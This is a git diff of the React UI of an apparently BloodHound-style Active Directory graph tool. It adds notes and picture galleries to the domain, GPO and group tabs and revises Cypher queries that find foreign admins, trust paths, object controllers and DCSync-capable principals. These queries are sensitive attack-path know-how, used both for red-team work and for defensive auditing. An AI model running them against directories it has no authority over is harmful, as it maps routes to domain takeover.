+
+        s5.run("MATCH (n:GPO {domain:{name}}) RETURN COUNT(n)", {
+            name: payload
+        }).then(
+            function(result) {
+                this.setState({ gpos: result.records[0]._fields[0].low });
                 s5.close();
-            }.bind(this));
+            }.bind(this)
+        );
+
+        this.setState({ driversessions: [s1, s2, s3] });
+    }
+
+    notesChanged(event){
+        this.setState({notes: event.target.value})
+    }
+
+    notesBlur(event){
+        let notes = this.state.notes === null || this.state.notes === "" ? null : this.state.notes;
+        let q = driver.session();
+        if (notes === null){
+            q.run("MATCH (n:Domain {name:{name}}) REMOVE n.notes", {name: this.state.label}).then(x => {
+                q.close();
+            });
+        }else{
+            q.run("MATCH (n:Domain {name:{name}}) SET n.notes = {notes}", {name: this.state.label, notes: this.state.notes}).then(x =>{
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `domain_${this.state.label}`;
         
-        this.setState({'driversessions': [s1,s2,s3]});
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `domain_${this.state.label}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
     }
 
     render() {
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
+
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
-                    <dt>
-                        Domain
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <br />
-                    <dt>
-                        Users
-                    </dt>
+                <dl className="dl-horizontal">
+                    <dt>Domain</dt>
+                    <dd>{this.state.label}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={[]}
+                    />
+                    <dt>Users</dt>
                     <dd>
                         <LoadLabel
                             ready={this.state.users !== -1}
                             value={this.state.users}
                         />
                     </dd>
-                    <dt>
-                        Groups
-                    </dt>
+                    <dt>Groups</dt>
                     <dd>
                         <LoadLabel
                             ready={this.state.groups !== -1}
                             value={this.state.groups}
                         />
                     </dd>
-                    <dt>
-                        Computers
-                    </dt>
+                    <dt>Computers</dt>
                     <dd>
                         <LoadLabel
                             ready={this.state.computers !== -1}
                             value={this.state.computers}
                         />
                     </dd>
-                    <dt>
-                        OUs
-                    </dt>
+                    <dt>OUs</dt>
                     <dd>
                         <LoadLabel
                             ready={this.state.ous !== -1}
                             value={this.state.ous}
                         />
                     </dd>
-                    <dt>
-                        GPOs
-                    </dt>
+                    <dt>GPOs</dt>
                     <dd>
                         <LoadLabel
                             ready={this.state.gpos !== -1}
                             value={this.state.gpos}
                         />
                     </dd>
-                    <NodeCypherNoNumberLink target={this.state.label} property="Map OU Structure" query="MATCH p = (d:Domain {name:{name}})-[r:Contains*1..]->(n) RETURN p" />
+                    <NodeCypherNoNumberLink
+                        target={this.state.label}
+                        property="Map OU Structure"
+                        query="MATCH p = (d:Domain {name:{name}})-[r:Contains*1..]->(n) RETURN p"
+                    />
                     <br />
                     <h4>Foreign Members</h4>
 
-                    <NodeCypherLink property="Foreign Users" target={this.state.label} baseQuery={"MATCH (n:User) WHERE NOT n.domain={name} WITH n MATCH (b:Group) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r:MemberOf]->(b)"}  />
-                    
-                    <NodeCypherLink property="Foreign Groups" target={this.state.label} baseQuery={"MATCH (n:Group) WHERE NOT n.domain={name} WITH n MATCH (b:Group) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r:MemberOf]->(b)"}  />
+                    <NodeCypherLink
+                        property="Foreign Users"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n:User) WHERE NOT n.domain={name} WITH n MATCH (b:Group) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r:MemberOf]->(b)"
+                        }
+                    />
 
-                    <NodeCypherLink property="Foreign Admins" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.domain={name} WITH n MATCH (b:Computer) WHERE b.domain={name} WITH n,b MATCH p=shortestPath((n)-[r:AdminTo|MemberOf*1..]->(b))"} />
+                    <NodeCypherLink
+                        property="Foreign Groups"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n:Group) WHERE NOT n.domain={name} WITH n MATCH (b:Group) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r:MemberOf]->(b)"
+                        }
+                    />
 
-                    <NodeCypherLink property="Foreign GPO Controllers" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.domain={name} WITH n MATCH (b:GPO) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r]->(b) WHERE r.isACL=true"} />
+                    <NodeCypherLinkComplex
+                        property="Foreign Admins"
+                        target={this.state.label}
+                        countQuery={
+                            "OPTIONAL MATCH p = (n:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) WHERE c.domain = {name} AND NOT n.domain = {name} RETURN count(distinct(n)) UNION ALL OPTIONAL MATCH p = (n:User)-[:AdminTo]->(c:Computer) WHERE c.domain = {name} AND NOT n.domain = {name} RETURN count(distinct(n))"
+                        }
+                        graphQuery = {
+                            "OPTIONAL MATCH p = (n:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) WHERE c.domain = {name} AND NOT n.domain = {name} RETURN p UNION ALL OPTIONAL MATCH p = (n:User)-[:AdminTo]->(c:Computer) WHERE c.domain = {name} AND NOT n.domain = {name} RETURN p"
+                        }
+                    />
+
+                    <NodeCypherLink
+                        property="Foreign GPO Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.domain={name} WITH n MATCH (b:GPO) WHERE b.domain={name} WITH n,b MATCH p=(n)-[r]->(b) WHERE r.isacl=true"
+                        }
+                    />
 
                     <h4>Inbound Trusts</h4>
-                    <NodeCypherLink property="First Degree Trusts" target={this.state.label} baseQuery={"MATCH p=(a:Domain {name:{name}})<-[r:TrustedBy]-(n:Domain)"} />
-                    
-                    <NodeCypherLink property="Effective Inbound Trusts" target={this.state.label} baseQuery={"MATCH (n:Domain) WHERE NOT n.name={name} WITH n MATCH p=shortestPath((a:Domain {name:{name}})<-[r:TrustedBy*1..]-(n))"}/>
+                    <NodeCypherLink
+                        property="First Degree Trusts"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(a:Domain {name:{name}})<-[r:TrustedBy]-(n:Domain)"
+                        }
+                    />
+
+                    <NodeCypherLink
+                        property="Effective Inbound Trusts"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n:Domain) WHERE NOT n.name={name} WITH n MATCH p=shortestPath((a:Domain {name:{name}})<-[r:TrustedBy*1..]-(n))"
+                        }
+                    />
 
                     <h4>Outbound Trusts</h4>
-                    <NodeCypherLink property="First Degree Trusts" target={this.state.label} baseQuery={"MATCH p=(a:Domain {name:{name}})-[r:TrustedBy]->(n:Domain)"} />
+                    <NodeCypherLink
+                        property="First Degree Trusts"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(a:Domain {name:{name}})-[r:TrustedBy]->(n:Domain)"
+                        }
+                    />
 
-                    <NodeCypherLink property="Effective Outbound Trusts" target={this.state.label} baseQuery={"MATCH (n:Domain) WHERE NOT n.name={name} MATCH p=shortestPath((a:Domain {name:{name}})-[r:TrustedBy*1..]->(n))"} />
+                    <NodeCypherLink
+                        property="Effective Outbound Trusts"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n:Domain) WHERE NOT n.name={name} MATCH p=shortestPath((a:Domain {name:{name}})-[r:TrustedBy*1..]->(n))"
+                        }
+                    />
 
                     <h4>Inbound Controllers</h4>
 
-                    <NodeCypherLink property="First Degree Controllers" target={this.state.label} baseQuery={"MATCH p=(n)-[r]->(u:Domain {name: {name}}) WHERE r.isACL=true"} distinct />
+                    <NodeCypherLink
+                        property="First Degree Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[r]->(u:Domain {name: {name}}) WHERE r.isacl=true"
+                        }
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Unrolled Controllers" target={this.state.label} baseQuery={"MATCH p=(n)-[r:MemberOf*1..]->(g:Group)-[r1]->(u:Domain {name: {name}}) WHERE r1.isACL=true"} distinct />
+                    <NodeCypherLink
+                        property="Unrolled Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[r:MemberOf*1..]->(g:Group)-[r1]->(u:Domain {name: {name}}) WHERE r1.isacl=true"
+                        }
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Transitive Controllers" target={this.state.label} baseQuery={"MATCH p=shortestPath((n)-[r1:MemberOf|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|DCSync*1..]->(u:Domain {name: {name}})) WHERE NOT n.name={name}"} distinct />
+                    <NodeCypherLink
+                        property="Transitive Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=shortestPath((n)-[r1:MemberOf|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(u:Domain {name: {name}})) WHERE NOT n.name={name}"
+                        }
+                        distinct
+                    />
 
-                    <NodeCypherLinkComplex property="Calculated Principals with DCSync Privileges" target={this.state.label} countQuery={"MATCH (n1)-[:MemberOf|GetChanges*1..]->(u:Domain {name: {name}}) WITH n1 MATCH (n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain {name: {name}}) WITH n1 MATCH (n2)-[:MemberOf|DCSync*1..]->(u:Domain {name: {name}}) WITH collect(distinct(n1))+collect(distinct(n2)) as results UNWIND results as x WITH x WHERE x:User OR x:Computer RETURN count(distinct(x))"} graphQuery={"MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain {name: {name}}) WITH p,n1 MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain {name: {name}}) WITH p,p2 MATCH p3=(n2)-[:MemberOf|DCSync*1..]->(u:Domain {name: {name}}) RETURN p,p2,p3"} />
+                    <NodeCypherLinkComplex
+                        property="Calculated Principals with DCSync Privileges"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (n1)-[:MemberOf|GetChanges*1..]->(u:Domain {name: {name}}) WITH n1 MATCH (n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain {name: {name}}) WITH n1 MATCH (n2)-[:MemberOf|GenericAll|AllExtendedRights*1..]->(u:Domain {name: {name}}) WITH collect(distinct(n1))+collect(distinct(n2)) as results UNWIND results as x WITH x WHERE x:User OR x:Computer RETURN count(distinct(x))"
+                        }
+                        graphQuery={
+                            "MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain {name: {name}}) WITH p,n1 MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain {name: {name}}) WITH p,p2 MATCH p3=(n2)-[:MemberOf|GenericAll|AllExtendedRights*1..]->(u:Domain {name: {name}}) RETURN p,p2,p3"
+                        }
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea onBlur={this.notesBlur.bind(this)} onChange={this.notesChanged.bind(this)} value={this.state.notes === null ? "" : this.state.notes} className={"node-notes-textarea"} ref="notes" />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
 }
 
 DomainNodeData.propTypes = {
-    visible : PropTypes.bool.isRequired
-};
\ No newline at end of file
+    visible: PropTypes.bool.isRequired
+};
diff --git a/src/components/SearchContainer/Tabs/GpoNodeData.jsx b/src/components/SearchContainer/Tabs/GpoNodeData.jsx
index 7e9321b..199941f 100644
--- a/src/components/SearchContainer/Tabs/GpoNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/GpoNodeData.jsx
@@ -1,8 +1,17 @@
-import React, { Component } from 'react';
-import LoadLabel from './LoadLabel.jsx';
-import PropTypes from 'prop-types';
-import NodeCypherLink from './NodeCypherLink.jsx';
-import NodeCypherLinkComplex from './NodeCypherLinkComplex.jsx';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
+import NodeCypherLink from "./NodeCypherLink.jsx";
+import NodeCypherLinkComplex from "./NodeCypherLinkComplex.jsx";
+import NodeProps from "./NodeProps";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class GpoNodeData extends Component {
     constructor() {
@@ -10,53 +19,299 @@ export default class GpoNodeData extends Component {
 
         this.state = {
             label: "",
-            guid: ""
+            guid: "",
+            propertyMap: {},
+            displayMap: {
+                "description":"Description",
+                "gpcpath":"GPO File Path"
+            },
+            notes:null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('gpoNodeClicked', this.getNodeData.bind(this));
+        emitter.on("gpoNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
+    }
+
+    componentDidMount() {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
     }
 
     getNodeData(payload, guid) {
+        jQuery(this.refs.complete).hide();
         this.setState({
             label: payload,
             guid: guid
         });
+        
+        let key = `gpo_${this.state.label}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
+        let props = driver.session();
+        props
+            .run("MATCH (n:GPO {name:{name}}) RETURN n", { name: payload })
+            .then(
+                function(result) {
+                    var properties = result.records[0]._fields[0].properties;
+                    let notes;
+                    if (!properties.notes){
+                        notes = null;
+                    }else{
+                        notes = properties.notes;
+                    }
+                    this.setState({ propertyMap: properties, notes: notes });
+                    props.close();
+                }.bind(this)
+            );
+    }
+
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `gpo_${this.state.label}`;
+        
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `gpo_${this.state.label}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
+    }
+
+    notesChanged(event){
+        this.setState({notes: event.target.value})
+    }
+
+    notesBlur(){
+        let notes = this.state.notes === null || this.state.notes === "" ? null : this.state.notes;
+        let q = driver.session();
+        if (notes === null){
+            q.run("MATCH (n:GPO {name:{name}}) REMOVE n.notes", {name: this.state.label}).then(x => {
+                q.close();
+            });
+        }else{
+            q.run("MATCH (n:GPO {name:{name}}) SET n.notes = {notes}", {name: this.state.label, notes: this.state.notes}).then(x =>{
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
     }
 
     render() {
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
+
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
-                    <dt>
-                        Domain
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <dt>
-                        GUID
-                    </dt>
-                    <dd>
-                        {this.state.guid}
-                    </dd>
+                <dl className="dl-horizontal">
+                    <dt>Domain</dt>
+                    <dd>{this.state.label}</dd>
+                    <dt>GUID</dt>
+                    <dd>{this.state.guid}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={[]}
+                    />
                     <br />
                     <h4>Affected Objects</h4>
-                    <NodeCypherLink property="Directly Affected OUs" target={this.state.label} baseQuery = {"MATCH p = (m:GPO {name:{name}})-[r:GpLink]->(n)"} start={this.state.label}/>
+                    <NodeCypherLink
+                        property="Directly Affected OUs"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (m:GPO {name:{name}})-[r:GpLink]->(n)"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLink property="Affected OUs" target={this.state.label} baseQuery = {"MATCH p = (m:GPO {name:{name}})-[r:GpLink|Contains*1..]->(n) WHERE n:OU OR n:Domain"} start={this.state.label}/>
+                    <NodeCypherLink
+                        property="Affected OUs"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (m:GPO {name:{name}})-[r:GpLink|Contains*1..]->(n) WHERE n:OU OR n:Domain"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLinkComplex property="Computer Objects" target={this.state.label} countQuery={"MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:Computer) WHERE NONE(x in NODES(p1) WHERE x.blocksInheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:Computer) RETURN count(n1) + count(n2)"} graphQuery={"MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:Computer) WHERE NONE(x in NODES(p1) WHERE x.blocksInheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:Computer) RETURN p1,p2"}/>
+                    <NodeCypherLinkComplex
+                        property="Computer Objects"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:Computer) WHERE NONE(x in NODES(p1) WHERE x.blocksinheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:Computer) RETURN count(n1) + count(n2)"
+                        }
+                        graphQuery={
+                            "MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:Computer) WHERE NONE(x in NODES(p1) WHERE x.blocksinheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:Computer) RETURN p1,p2"
+                        }
+                    />
 
-                    <NodeCypherLinkComplex property="User Objects" target={this.state.label} countQuery={"MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:User) WHERE NONE(x in NODES(p1) WHERE x.blocksInheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:User) RETURN count(n1) + count(n2)"} graphQuery={"MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:User) WHERE NONE(x in NODES(p1) WHERE x.blocksInheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:User) RETURN p1,p2"} />
+                    <NodeCypherLinkComplex
+                        property="User Objects"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:User) WHERE NONE(x in NODES(p1) WHERE x.blocksinheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:User) RETURN count(n1) + count(n2)"
+                        }
+                        graphQuery={
+                            "MATCH (g:GPO {name:{name}}) OPTIONAL MATCH (g)-[r1:GpLink {enforced:false}]->(container1) WITH g,container1 OPTIONAL MATCH (g)-[r2:GpLink {enforced:true}]->(container2) WITH g,container1,container2 OPTIONAL MATCH p1 = (g)-[r1:GpLink]->(container1)-[r2:Contains*1..]->(n1:User) WHERE NONE(x in NODES(p1) WHERE x.blocksinheritance = true AND LABELS(x) = 'OU') WITH g,p1,container2,n1 OPTIONAL MATCH p2 = (g)-[r1:GpLink]->(container2)-[r2:Contains*1..]->(n2:User) RETURN p1,p2"
+                        }
+                    />
 
                     <h4>Inbound Object Control</h4>
 
-                    <NodeCypherLink property="Explicit Object Controllers" target={this.state.label} baseQuery={"MATCH p = (n)-[r:AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:GPO {name:{name}})"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Explicit Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (n)-[r:AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:GPO {name:{name}})"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Unrolled Object Controllers" target={this.state.label} baseQuery={"MATCH p = (n)-[r:MemberOf*1..]->(g1:Group)-[r1]->(g2:GPO {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = g2.name) AND NOT n.name = g2.name AND r1.isACL=true"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Unrolled Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (n)-[r:MemberOf*1..]->(g1:Group)-[r1]->(g2:GPO {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = g2.name) AND NOT n.name = g2.name AND r1.isacl=true"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Transitive Object Controllers" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(g:GPO {name:{name}}))"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Transitive Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(g:GPO {name:{name}}))"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea onBlur={this.notesBlur.bind(this)} onChange={this.notesChanged.bind(this)} value={this.state.notes === null ? "" : this.state.notes} className={"node-notes-textarea"} ref="notes" />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
diff --git a/src/components/SearchContainer/Tabs/GroupNodeData.jsx b/src/components/SearchContainer/Tabs/GroupNodeData.jsx
index 2968433..e5ad33e 100644
--- a/src/components/SearchContainer/Tabs/GroupNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/GroupNodeData.jsx
@@ -1,90 +1,433 @@
-import React, { Component } from 'react';
-import NodeALink from './NodeALink';
-import PropTypes from 'prop-types';
-import NodeCypherLink from './NodeCypherLink';
-import NodeCypherNoNumberLink from './NodeCypherNoNumberLink';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
+import NodeCypherLink from "./NodeCypherLink";
+import NodeProps from "./NodeProps";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class GroupNodeData extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
             label: "",
-            driversessions: []
+            driversessions: [],
+            propertyMap: {},
+            displayMap: {
+                description: "Description",
+                admincount: "Admin Count"
+            },
